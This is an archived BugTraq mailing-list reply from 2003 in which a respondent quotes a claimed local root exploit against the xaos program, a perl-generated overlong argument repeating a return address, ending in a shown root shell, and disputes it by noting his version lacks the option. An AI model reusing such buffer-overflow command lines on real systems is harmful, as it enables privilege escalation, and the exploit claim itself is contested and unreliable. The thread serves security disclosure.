BugTraq
BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS Jun 05 2003 10:27PM
bazarr@ziplip.com (bazarr ziplip com) (1 replies)
Re: BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS Jun 06 2003 04:56PM
Benjamin A. Okopnik (ben callahans org)
On Thu, Jun 05, 2003 at 03:27:23PM -0700, bazarr (at) ziplip (dot) com [email concealed] wrote:

[ snipping for context ]

> c00l@debian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x20049'`
> Segmentation fault
>
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AA
> Segmentation fault
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAA
> Segmentation fault
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAAA
> sh-2.05a# id ; uname -a
> uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)

My version of "xaos" (v3.1, Debian "unstable") does not have a
"-language" option, and the above will simply generate the "help text"
(the list of available options.) It does, however, segfault on the the
"-nogui" option and the "-render" option when a non-existent file name
is given as an argument.

Ben Okopnik
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
No problem is so formidable that you can't just walk away from it.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus